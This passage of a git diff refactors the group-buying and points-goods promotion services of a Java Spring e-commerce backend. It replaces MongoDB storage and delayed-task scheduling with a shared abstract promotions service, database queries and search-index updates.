memberVO.setOrderSn(order.getSn()); members.add(memberVO); } return members; } - @Override - public IPage getPintuanByPageFromMongo(PintuanSearchParams param, PageVO page) { - IPage pintuanPage = new Page<>(); - Query query = param.mongoQuery(); - if (page != null) { - page.setNotConvert(true); - PromotionTools.mongoQueryPageParam(query, page); - pintuanPage.setCurrent(page.getPageNumber()); - pintuanPage.setSize(page.getPageSize()); - } - List pintuanVOS = mongoTemplate.find(query, PintuanVO.class); - pintuanPage.setRecords(pintuanVOS); - pintuanPage.setTotal(this.getPintuanByPageFromMongoCount(param)); - return pintuanPage; - } - /** * 从mongo中查询拼团活动详情 * @@ -166,161 +107,17 @@ public class PintuanServiceImpl extends ServiceImpl impl * @return 拼团活动详情 */ @Override - public PintuanVO getPintuanByIdFromMongo(String id) { - PintuanVO pintuanVO = mongoTemplate.findById(id, PintuanVO.class); - if (pintuanVO == null) { - log.error("拼团活动id[" + id + "]的拼团活动不存在!"); - throw new ServiceException(ResultCode.ERROR); - } - return pintuanVO; - } - - /** - * 从mysql中查询拼团活动详情 - * - * @param id 拼团活动id - * @return 拼团活动详情 - */ - @Override - public Pintuan getPintuanById(String id) { + public PintuanVO getPintuanVO(String id) { Pintuan pintuan = this.getById(id); if (pintuan == null) { log.error("拼团活动id[" + id + "]的拼团活动不存在!"); - throw new ServiceException(ResultCode.ERROR); + throw new ServiceException(ResultCode.PINTUAN_NOT_EXIST_ERROR); } - return pintuan; - } - - /** - * 从mongo中根据条件查询拼团活动总数 - * - * @param param 拼团活动查询参数 - * @return 总数 - */ - @Override - public Long getPintuanByPageFromMongoCount(PintuanSearchParams param) { - Query query = param.mongoQuery(); - return mongoTemplate.count(query, PintuanVO.class); - } - - @Override - public boolean addPintuan(PintuanVO pintuan) { - PromotionTools.checkPromotionTime(pintuan.getStartTime().getTime(), pintuan.getEndTime().getTime()); - pintuan.setPromotionStatus(PromotionStatusEnum.NEW.name()); - //保存到MYSQL中 - boolean result = this.save(pintuan); - this.updatePintuanPromotionGoods(pintuan); - this.mongoTemplate.save(pintuan); - this.addPintuanStartTask(pintuan); - return result; - } - - @Override - public boolean modifyPintuan(PintuanVO pintuan) { - PintuanVO pintuanVO = this.checkExist(pintuan.getId()); - if (!pintuan.getPromotionStatus().equals(PromotionStatusEnum.NEW.name())) { - throw new ServiceException(ResultCode.PINTUAN_EDIT_ERROR_ITS_OPEN); - } - //检查促销时间 - PromotionTools.checkPromotionTime(pintuan.getStartTime().getTime(), pintuan.getEndTime().getTime()); - boolean result = this.updateById(pintuan); - if (pintuan.getPromotionGoodsList() != null) { - this.updatePintuanPromotionGoods(pintuan); - } - this.mongoTemplate.save(pintuan); - //时间发生变化 - if (pintuan.getStartTime().getTime() != pintuanVO.getStartTime().getTime()) { - PromotionMessage promotionMessage = new PromotionMessage(pintuan.getId(), PromotionTypeEnum.PINTUAN.name(), PromotionStatusEnum.START.name(), pintuan.getStartTime(), pintuan.getEndTime()); - //更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage, - pintuanVO.getStartTime().getTime(), - pintuan.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(pintuanVO.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - } - return result; - } - - @Override - public boolean openPintuan(String pintuanId, Date startTime, Date endTime) { - PintuanVO pintuan = checkExist(pintuanId); - pintuan.setStartTime(startTime); - pintuan.setEndTime(endTime); - boolean result; - - long endTimeLong = endTime.getTime() / 1000; - //如果还在活动时间内 - if (endTimeLong > DateUtil.getDateline()) { - pintuan.setPromotionStatus(PromotionStatusEnum.NEW.name()); - updatePintuanPromotionGoods(pintuan); - this.addPintuanStartTask(pintuan); - } else { - //活动时间范围外,修改状态为已结束 - pintuan.setPromotionStatus(PromotionStatusEnum.END.name()); - } - - pintuan.setPromotionGoodsList(new ArrayList<>()); - result = this.updateById(pintuan); - this.mongoTemplate.save(pintuan); - return result; - } - - @Override - public boolean closePintuan(String pintuanId) { - PintuanVO pintuan = checkExist(pintuanId); - - long endTime = pintuan.getEndTime().getTime() / 1000; - //如果还在活动时间内 - if (endTime > DateUtil.getDateline()) { - //表示可以再次开启,则不处理未成团订单,因为可以开启 - pintuan.setPromotionStatus(PromotionStatusEnum.CLOSE.name()); - } else { - pintuan.setPromotionStatus(PromotionStatusEnum.END.name()); - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()); - queryWrapper.eq(Order::getPromotionId, pintuanId); - queryWrapper.nested(i -> i.eq(Order::getPayStatus, PayStatusEnum.PAID.name()).or().eq(Order::getOrderStatus, OrderStatusEnum.PAID.name())); - //过滤父级拼团订单,根据父级拼团订单分组 - Map> collect = orderService.list(queryWrapper).stream().filter(i -> StrUtil.isNotEmpty(i.getParentOrderSn())).collect(Collectors.groupingBy(Order::getParentOrderSn)); - this.isOpenFictitiousPintuan(pintuan, collect); - - } - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(Pintuan::getId, pintuanId).set(Pintuan::getPromotionStatus, PromotionStatusEnum.CLOSE.name()); - boolean result = this.update(updateWrapper); - if (pintuan.getPromotionGoodsList() != null && !pintuan.getPromotionGoodsList().isEmpty()) { - LambdaQueryWrapper deleteWrapper = new LambdaQueryWrapper<>(); - deleteWrapper.eq(PromotionGoods::getPromotionId, pintuanId); - promotionGoodsService.remove(deleteWrapper); - pintuan.setPromotionGoodsList(new ArrayList<>()); - } - this.removePintuanGoodsFromEs(pintuanId, pintuan.getStartTime().getTime()); - this.mongoTemplate.save(pintuan); - return result; - } - - /** - * 删除拼团 - * - * @param pintuanId 拼团活动编号 - * @return 是否成功 - */ - @Override - public boolean deletePintuan(String pintuanId) { - PintuanVO pintuanVO = this.checkExist(pintuanId); - pintuanVO.setDeleteFlag(true); - if (pintuanVO.getPromotionGoodsList() != null && !pintuanVO.getPromotionGoodsList().isEmpty()) { - LambdaQueryWrapper deleteWrapper = new LambdaQueryWrapper<>(); - deleteWrapper.eq(PromotionGoods::getPromotionId, pintuanId); - promotionGoodsService.remove(deleteWrapper); - pintuanVO.setPromotionGoodsList(new ArrayList<>()); - } - boolean result = this.updateById(pintuanVO); - this.mongoTemplate.save(pintuanVO); - this.removePintuanGoodsFromEs(pintuanId, pintuanVO.getStartTime().getTime()); - return result; + PintuanVO pintuanVO = new PintuanVO(pintuan); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(pintuan.getId()); + pintuanVO.setPromotionGoodsList(promotionGoodsService.listFindAll(searchParams)); + return pintuanVO; } /** @@ -334,28 +131,103 @@ public class PintuanServiceImpl extends ServiceImpl impl public PintuanShareVO getPintuanShareInfo(String parentOrderSn, String skuId) { PintuanShareVO pintuanShareVO = new PintuanShareVO(); pintuanShareVO.setPintuanMemberVOS(new ArrayList<>()); - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); //查找团长订单和已和当前拼团订单拼团的订单 - queryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()) - .eq(Order::getPayStatus, OrderStatusEnum.PAID.name()) - .and(i -> i.eq(Order::getParentOrderSn, parentOrderSn).or(j -> j.eq(Order::getSn, parentOrderSn))); - List orders = orderService.list(queryWrapper); + List orders = orderService.queryListByPromotion(PromotionTypeEnum.PINTUAN.name(), PayStatusEnum.PAID.name(), parentOrderSn, parentOrderSn); this.setPintuanOrderInfo(orders, pintuanShareVO, skuId); //如果为根据团员订单sn查询拼团订单信息时,找到团长订单sn,然后找到所有参与到同一拼团的订单信息 if (!orders.isEmpty() && pintuanShareVO.getPromotionGoods() == null) { - LambdaQueryWrapper orderLambdaQueryWrapper = new LambdaQueryWrapper<>(); - //查找团长订单和已和当前拼团订单拼团的订单 - orderLambdaQueryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()) - .eq(Order::getPayStatus, OrderStatusEnum.PAID.name()) - .ne(Order::getSn, parentOrderSn) - .and(i -> i.eq(Order::getParentOrderSn, orders.get(0).getParentOrderSn()).or(j -> j.eq(Order::getSn, orders.get(0).getParentOrderSn()))); - List parentOrders = orderService.list(orderLambdaQueryWrapper); + List parentOrders = orderService.queryListByPromotion(PromotionTypeEnum.PINTUAN.name(), PayStatusEnum.PAID.name(), orders.get(0).getParentOrderSn(), orders.get(0).getParentOrderSn()); this.setPintuanOrderInfo(parentOrders, pintuanShareVO, skuId); - } return pintuanShareVO; } + /** + * 更新促销状态 + * 如果要更新促销状态为关闭,startTime和endTime置为空即可 + * + * @param ids 促销id集合 + * @param startTime 开始时间 + * @param endTime 结束时间 + * @return 是否更新成功 + */ + @Override + public boolean updateStatus(List ids, Long startTime, Long endTime) { + if (startTime != null && endTime != null) { + for (String id : ids) { + Pintuan pintuan = this.getById(id); + QueryWrapper queryWrapper = PromotionTools.checkActiveTime(new Date(startTime), new Date(endTime), PromotionTypeEnum.PINTUAN, pintuan.getStoreId(), id); + int sameNum = this.count(queryWrapper); + //当前时间段是否存在同类活动 + if (sameNum > 0) { + throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); + } + } + } + + return super.updateStatus(ids, startTime, endTime); + } + + /** + * 检查促销参数 + * + * @param promotions 促销实体 + */ + @Override + public void checkPromotions(Pintuan promotions) { + QueryWrapper queryWrapper = PromotionTools.checkActiveTime(promotions.getStartTime(), promotions.getEndTime(), PromotionTypeEnum.PINTUAN, promotions.getStoreId(), promotions.getId()); + int sameNum = this.count(queryWrapper); + //当前时间段是否存在同类活动 + if (sameNum > 0) { + throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); + } + super.checkPromotions(promotions); + } + + /** + * 更新促销商品信息 + * + * @param promotions 促销实体 + */ + @Override + public void updatePromotionsGoods(Pintuan promotions) { + super.updatePromotionsGoods(promotions); + if (!PromotionsStatusEnum.CLOSE.name().equals(promotions.getPromotionStatus()) + && PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(promotions.getScopeType()) + && promotions instanceof PintuanVO) { + PintuanVO pintuanVO = (PintuanVO) promotions; + this.updatePintuanPromotionGoods(pintuanVO); + } + if (promotions.getEndTime() == null && promotions.getStartTime() == null) { + //过滤父级拼团订单,根据父级拼团订单分组 + Map> collect = orderService.queryListByPromotion(promotions.getId()) + .stream().filter(i -> CharSequenceUtil.isNotEmpty(i.getParentOrderSn())) + .collect(Collectors.groupingBy(Order::getParentOrderSn)); + this.isOpenFictitiousPintuan(promotions, collect); + } + } + + /** + * 更新促销信息到商品索引 + * + * @param promotions 促销实体 + */ + @Override + public void updateEsGoodsIndex(Pintuan promotions) { + Pintuan pintuan = JSONUtil.parse(promotions).toBean(Pintuan.class); + super.updateEsGoodsIndex(pintuan); + } + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + @Override + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.PINTUAN; + } + /** * 根据订单信息,从中提取出拼团信息,设置拼团信息 * @@ -367,55 +239,32 @@ public class PintuanServiceImpl extends ServiceImpl impl for (Order order : orders) { Member member = memberService.getById(order.getMemberId()); PintuanMemberVO memberVO = new PintuanMemberVO(member); - if (StrUtil.isEmpty(order.getParentOrderSn())) { + if (CharSequenceUtil.isEmpty(order.getParentOrderSn())) { memberVO.setOrderSn(""); - PromotionGoods promotionGoods = promotionGoodsService.getPromotionGoods(PromotionTypeEnum.PINTUAN, order.getPromotionId(), skuId); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionStatus(PromotionTypeEnum.PINTUAN.name()); + searchParams.setPromotionId(order.getPromotionId()); + searchParams.setSkuId(skuId); + PromotionGoods promotionGoods = promotionGoodsService.getPromotionsGoods(searchParams); if (promotionGoods == null) { - throw new ServiceException(ResultCode.PINTUAN_NOT_EXIST_ERROR); + throw new ServiceException(ResultCode.PINTUAN_GOODS_NOT_EXIST_ERROR); } pintuanShareVO.setPromotionGoods(promotionGoods); - Pintuan pintuanById = this.getPintuanById(order.getPromotionId()); - LambdaQueryWrapper countQueryWrapper = new LambdaQueryWrapper<>(); - countQueryWrapper.eq(Order::getPayStatus, PayStatusEnum.PAID.name()); - countQueryWrapper.and(i -> i.eq(Order::getSn, order.getSn()).or(j -> j.eq(Order::getParentOrderSn, order.getSn()))); + Pintuan pintuanById = this.getById(order.getPromotionId()); //获取已参团人数 - int count = orderService.count(countQueryWrapper); - //获取待参团人数 - int toBoGrouped = pintuanById.getRequiredNum() - count; - memberVO.setGroupNum(pintuanById.getRequiredNum()); - memberVO.setGroupedNum(count); - memberVO.setToBeGroupedNum(toBoGrouped); + this.setMemberVONum(memberVO, pintuanById.getRequiredNum(), order.getSn()); } pintuanShareVO.getPintuanMemberVOS().add(memberVO); } } - /** - * 增加拼团定时任务 - * @param pintuan - */ - private void addPintuanStartTask(PintuanVO pintuan) { - PromotionMessage promotionMessage = new PromotionMessage(pintuan.getId(), PromotionTypeEnum.PINTUAN.name(), PromotionStatusEnum.START.name(), pintuan.getStartTime(), pintuan.getEndTime()); - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - pintuan.getStartTime().getTime(), - promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); - } - - /** - * 从es商品索引中中移除拼团活动 - * - * @param id 拼团活动ID - * @param originStartTime 活动开始时间 - */ - private void removePintuanGoodsFromEs(String id, Long originStartTime) { - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - originStartTime, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.PINTUAN.name() + id)), - rocketmqCustomProperties.getPromotionTopic()); + private void setMemberVONum(PintuanMemberVO memberVO, Integer requiredNum, String orderSn) { + int count = this.orderService.queryCountByPromotion(PromotionTypeEnum.PINTUAN.name(), PayStatusEnum.PAID.name(), orderSn, orderSn); + //获取待参团人数 + int toBoGrouped = requiredNum - count; + memberVO.setGroupNum(requiredNum); + memberVO.setGroupedNum(count); + memberVO.setToBeGroupedNum(toBoGrouped); } /** @@ -424,7 +273,7 @@ public class PintuanServiceImpl extends ServiceImpl impl * @param pintuan 拼团活动信息 * @param collect 检查的订单列表 */ - private void isOpenFictitiousPintuan(PintuanVO pintuan, Map> collect) { + private void isOpenFictitiousPintuan(Pintuan pintuan, Map> collect) { //成团人数 Integer requiredNum = pintuan.getRequiredNum(); @@ -432,13 +281,14 @@ public class PintuanServiceImpl extends ServiceImpl impl //是否开启虚拟成团 if (Boolean.FALSE.equals(pintuan.getFictitious()) && entry.getValue().size() < requiredNum) { //如果未开启虚拟成团且已参团人数小于成团人数,则自动取消订单 - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()); - updateWrapper.eq(Order::getPromotionId, pintuan.getId()); - updateWrapper.eq(Order::getParentOrderSn, entry.getKey()); - updateWrapper.set(Order::getOrderStatus, OrderStatusEnum.CANCELLED.name()); - updateWrapper.set(Order::getCancelReason, "拼团活动结束订单未付款,系统自动取消订单"); - orderService.update(updateWrapper); + String reason = "拼团活动结束订单未付款,系统自动取消订单"; + if (CharSequenceUtil.isNotEmpty(entry.getKey())) { + this.orderService.systemCancel(entry.getKey(), reason); + } else { + for (Order order : entry.getValue()) { + this.orderService.systemCancel(order.getSn(), reason); + } + } } else if (Boolean.TRUE.equals(pintuan.getFictitious())) { this.fictitiousPintuan(entry, requiredNum); } @@ -484,20 +334,6 @@ public class PintuanServiceImpl extends ServiceImpl impl } } - /** - * 检查当前拼团活动是否存在 - * - * @param pintuanId 拼团id - * @return 拼团活动 - */ - private PintuanVO checkExist(String pintuanId) { - PintuanVO pintuan = mongoTemplate.findById(pintuanId, PintuanVO.class); - if (pintuan == null) { - throw new ServiceException(ResultCode.PINTUAN_NOT_EXIST_ERROR); - } - return pintuan; - } - /** * 更新记录的促销商品信息 * @@ -521,9 +357,10 @@ public class PintuanServiceImpl extends ServiceImpl impl throw new ServiceException("商品[" + promotionGood.getGoodsName() + "]已经在重叠的时间段参加了秒杀活动或拼团活动,不能参加拼团活动"); } } - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(PromotionGoods::getPromotionId, pintuan.getId()).eq(PromotionGoods::getPromotionType, PromotionTypeEnum.PINTUAN.name()); - promotionGoodsService.remove(queryWrapper); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionId(pintuan.getId()); + searchParams.setPromotionType(PromotionTypeEnum.PINTUAN.name()); + promotionGoodsService.deletePromotionGoods(searchParams); promotionGoodsService.saveOrUpdateBatch(promotionGoods); } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsCategoryServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsCategoryServiceImpl.java index d10f209d..3d1e9161 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsCategoryServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsCategoryServiceImpl.java @@ -1,12 +1,12 @@ package cn.lili.modules.promotion.serviceimpl; -import cn.hutool.core.util.StrUtil; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.exception.ServiceException; -import cn.lili.mybatis.util.PageUtil; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.PointsGoodsCategory; import cn.lili.modules.promotion.mapper.PointsGoodsCategoryMapper; import cn.lili.modules.promotion.service.PointsGoodsCategoryService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; @@ -69,7 +69,7 @@ public class PointsGoodsCategoryServiceImpl extends ServiceImpl getCategoryByPage(String name, PageVO page) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - if (StrUtil.isNotEmpty(name)) { + if (CharSequenceUtil.isNotEmpty(name)) { queryWrapper.like(PointsGoodsCategory::getName, name); } page.setOrder("ASC"); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java index acee95ac..0182b261 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java @@ -1,44 +1,33 @@ package cn.lili.modules.promotion.serviceimpl; -import cn.hutool.core.util.StrUtil; +import cn.hutool.core.map.MapUtil; +import cn.hutool.core.text.CharSequenceUtil; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; -import cn.lili.common.security.context.UserContext; -import cn.lili.common.security.enums.UserEnums; -import cn.lili.trigger.util.DelayQueueTools; -import cn.lili.trigger.enums.DelayTypeEnums; -import cn.lili.trigger.message.PromotionMessage; import cn.lili.common.exception.ServiceException; -import cn.lili.trigger.interfaces.TimeTrigger; -import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; -import cn.lili.common.utils.DateUtil; -import cn.lili.common.vo.PageVO; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.PointsGoods; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.mapper.PointsGoodsMapper; import cn.lili.modules.promotion.service.PointsGoodsService; +import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.modules.search.service.EsGoodsIndexService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.BeanUtils; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; -import java.util.Collections; +import java.util.HashMap; import java.util.List; +import java.util.Map; /** * 积分商品业务层实现 @@ -48,150 +37,94 @@ import java.util.List; **/ @Service @Transactional(rollbackFor = Exception.class) -public class PointsGoodsServiceImpl extends ServiceImpl implements PointsGoodsService { +@Slf4j +public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl implements PointsGoodsService { /** - * 延时任务 + * 促销商品 */ @Autowired - private TimeTrigger timeTrigger; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; - /** - * RocketMQ - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; + private PromotionGoodsService promotionGoodsService; /** * 规格商品 */ @Autowired private GoodsSkuService goodsSkuService; - /** - * Es商品 - */ + @Autowired private EsGoodsIndexService goodsIndexService; - /** - * 批量添加积分商品 - * - * @param pointsGoodsList 积分商品列表 - * @return 是否添加成功 - */ + @Override - public boolean addPointsGoods(List pointsGoodsList) { - List pointsGoodsList1 = new ArrayList<>(); - for (PointsGoodsVO pointsGoods : pointsGoodsList) { - GoodsSku goodsSku = this.checkSkuExist(pointsGoods.getSkuId()); - this.checkParam(pointsGoods, goodsSku); - pointsGoods.setGoodsSku(goodsSku); - PromotionTools.checkPromotionTime(pointsGoods.getStartTime().getTime(), pointsGoods.getEndTime().getTime()); + public boolean savePointsGoodsBatch(List promotionsList) { + List promotionGoodsList = new ArrayList<>(); + Map skuPoints = new HashMap<>(); + for (PointsGoods pointsGoods : promotionsList) { + this.initPromotion(pointsGoods); + this.checkPromotions(pointsGoods); if (this.checkSkuDuplicate(pointsGoods.getSkuId(), null) == null) { - pointsGoods.setPromotionStatus(PromotionStatusEnum.NEW.name()); pointsGoods.setPromotionName("积分商品活动"); - pointsGoodsList1.add(pointsGoods); } else { throw new ServiceException("商品id为" + pointsGoods.getSkuId() + "的商品已参加积分商品活动!"); } + GoodsSku goodsSku = this.checkSkuExist(pointsGoods.getSkuId()); + pointsGoods.setStoreId(goodsSku.getStoreId()); + pointsGoods.setStoreName(goodsSku.getStoreName()); + PromotionGoods promotionGoods = new PromotionGoods(pointsGoods, goodsSku); + promotionGoods.setPromotionType(PromotionTypeEnum.POINTS_GOODS.name()); + promotionGoodsList.add(promotionGoods); + skuPoints.put(pointsGoods.getSkuId(), pointsGoods.getPoints()); + } - this.saveBatch(pointsGoodsList1); - for (PointsGoodsVO pointsGoods : pointsGoodsList) { - this.mongoTemplate.save(pointsGoods); - this.addPointsGoodsPromotionTask(pointsGoods); + boolean saveBatch = this.saveBatch(promotionsList); + if (saveBatch) { + this.promotionGoodsService.saveOrUpdateBatch(promotionGoodsList); + for (Map.Entry entry : skuPoints.entrySet()) { + Map query = MapUtil.builder(new HashMap()).put("id", entry.getKey()).build(); + Map update = MapUtil.builder(new HashMap()).put("points", entry.getValue()).build(); + this.goodsIndexService.updateIndex(query, update); + } + } - return true; + return saveBatch; } /** - * 更新一个积分商品 + * 积分商品更新 * - * @param pointsGoods 编辑的积分商品信息 + * @param promotions 促销信息 * @return 是否更新成功 */ @Override - public boolean updatePointsGoods(PointsGoodsVO pointsGoods) { + public boolean updatePromotions(PointsGoods promotions) { boolean result = false; - PointsGoodsVO pointsGoodsVO = this.checkExist(pointsGoods.getId()); - GoodsSku goodsSku = this.checkSkuExist(pointsGoods.getSkuId()); - this.checkParam(pointsGoods, goodsSku); - pointsGoods.setGoodsSku(goodsSku); - if (this.checkSkuDuplicate(pointsGoods.getSkuId(), pointsGoods.getId()) == null) { - if (PromotionStatusEnum.START.name().equals(pointsGoods.getPromotionStatus()) || PromotionStatusEnum.END.name().equals(pointsGoods.getPromotionStatus())) { - throw new ServiceException(ResultCode.PROMOTION_UPDATE_ERROR); - } - PromotionTools.checkPromotionTime(pointsGoods.getStartTime().getTime(), pointsGoods.getEndTime().getTime()); - result = this.updateById(pointsGoods); - this.mongoTemplate.save(pointsGoods); - if (pointsGoods.getStartTime().getTime() != pointsGoodsVO.getStartTime().getTime()) { - PromotionMessage promotionMessage = new PromotionMessage(pointsGoods.getId(), PromotionTypeEnum.POINTS_GOODS.name(), PromotionStatusEnum.START.name(), pointsGoods.getStartTime(), pointsGoods.getEndTime()); - //更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage, - pointsGoodsVO.getStartTime().getTime(), - pointsGoods.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(pointsGoods.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - } - + this.checkStatus(promotions); + this.checkPromotions(promotions); + if (this.checkSkuDuplicate(promotions.getSkuId(), promotions.getId()) == null) { + result = this.updateById(promotions); + this.updatePromotionsGoods(promotions); + this.updateEsGoodsIndex(promotions); } return result; } /** - * 批量更新积分商品状态 + * 移除促销活动 * - * @param ids 积分商品id集合 - * @param promotionStatus 更新的状态 - * @return 是否更新成功 + * @param ids 促销活动id集合 + * @return 是否移除成功 */ @Override - public boolean updatePointsGoodsPromotionStatus(List ids, String promotionStatus) { + public boolean removePromotions(List ids) { for (String id : ids) { - PointsGoodsVO pointsGoodsVO = this.checkExist(id); - pointsGoodsVO.setPromotionStatus(PromotionStatusEnum.valueOf(promotionStatus).name()); - this.updateById(pointsGoodsVO); - this.mongoTemplate.save(pointsGoodsVO); - if (promotionStatus.equals(PromotionStatusEnum.START.name())) { - this.addPointsGoodsPromotionTask(pointsGoodsVO); - } else { - this.goodsIndexService.deleteEsGoodsPromotionIndexByList(Collections.singletonList(pointsGoodsVO.getSkuId()), PromotionTypeEnum.POINTS_GOODS); - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - pointsGoodsVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.POINTS_GOODS.name() + pointsGoodsVO.getId())), - rocketmqCustomProperties.getPromotionTopic()); + PointsGoods pointsGoods = this.getById(id); + if (pointsGoods == null) { + log.error(ResultCode.POINT_GOODS_NOT_EXIST.message()); + ids.remove(id); } } - return true; - } - - /** - * 批量删除积分商品 - * - * @param ids 积分商品id集合 - * @return 是否删除成功 - */ - @Override - public boolean deletePointsGoods(List ids) { - List skuIds = new ArrayList<>(); - for (String id : ids) { - PointsGoodsVO pointsGoodsVO = this.checkExist(id); - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - pointsGoodsVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.POINTS_GOODS.name() + pointsGoodsVO.getId())), - rocketmqCustomProperties.getPromotionTopic()); - skuIds.add(pointsGoodsVO.getSkuId()); - } - boolean result = this.removeByIds(ids); - this.goodsIndexService.deleteEsGoodsPromotionIndexByList(skuIds, PromotionTypeEnum.POINTS_GOODS); - Query query = new Query(); - query.addCriteria(new Criteria("id").in(ids)); - this.mongoTemplate.remove(query, PointsGoodsVO.class); - return result; + this.promotionGoodsService.deletePromotionGoods(ids); + return this.removeByIds(ids); } /** @@ -202,79 +135,103 @@ public class PointsGoodsServiceImpl extends ServiceImpl pointsGoodsVO = this.mongoTemplate.find(query, PointsGoodsVO.class); - if (pointsGoodsVO != null && pointsGoodsVO.size() > 0) { - return pointsGoodsVO.get(0); - } - return null; + PointsGoods pointsGoods = this.checkExist(id); + PointsGoodsVO pointsGoodsVO = new PointsGoodsVO(); + BeanUtils.copyProperties(pointsGoods, pointsGoodsVO); + pointsGoodsVO.setGoodsSku(this.checkSkuExist(pointsGoods.getSkuId())); + return pointsGoodsVO; } /** - * 根据条件查询积分商品 + * 根据ID获取积分详情 * - * @param searchParams 积分商品查询参数 - * @param page 分页参数 - * @return 积分商品查询结果 + * @param skuId 商品SkuId + * @return 积分详情 */ @Override - public IPage getPointsGoodsByPage(PointsGoodsSearchParams searchParams, PageVO page) { - IPage pointsGoodsPage = new Page<>(); - if (UserContext.getCurrentUser().getRole().equals(UserEnums.MEMBER)) { - searchParams.setPromotionStatus(PromotionStatusEnum.START.name()); + public PointsGoodsVO getPointsGoodsDetailBySkuId(String skuId) { + PointsGoods pointsGoods = this.getOne(new LambdaQueryWrapper().eq(PointsGoods::getSkuId, skuId), false); + if (pointsGoods == null) { + log.error("skuId为" + skuId + "的积分商品不存在!"); + throw new ServiceException(); } - 